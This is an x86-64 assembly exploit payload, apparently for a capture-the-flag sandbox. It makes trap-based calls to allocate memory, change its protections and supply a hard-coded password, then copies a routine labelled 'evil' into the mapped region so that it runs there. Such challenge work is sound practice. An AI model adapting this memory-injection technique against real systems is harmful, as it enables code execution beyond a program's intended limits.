mov rsp, 0x13380800
mov r10, 0x13390000
                
mov rax, 3
mov rbx, 0xf000 
int3
// calloc 0xf000


mov rax, 8
mov rbx, 0x42420000
lea rcx, [rip+memprot_x86_64]
int3

mov rax, 10
mov rbx, 0x42420000
mov rcx, 0x1000
mov rdx, 7
lea rdi, [rip+password_buffer] 
int3

mov rbx, rax     
mov rax, 2
int3

mov rdi, 0x42420000
lea rsi, [rip+evil]
mov edx, 0x20
call memcpy

mov eax,10
int3

jmp $

map_shared_x86_64:
    .asciz "map_shared_x86_64"
memprot_x86_64:
    .asciz "memprot_x86_64"

password_buffer:
    .asciz "sup3r_s3cure_sj\0"
password:
    .asciz "password"
newline:
    .asciz "\n"
nop

memcpy:
    test    rdx, rdx         
    jz      memcpy_done
memcpy_loop:
    mov     al, [rsi]  
    mov     [rdi], al
    inc     rsi
    inc     rdi
    dec     rdx 
    jnz     memcpy_loop
memcpy_done:
    ret

evil:
mov eax, 4
xor ebx, ebx
mov ecx, 0x1000
int3
mov rbx, rax
mov eax,2
int3
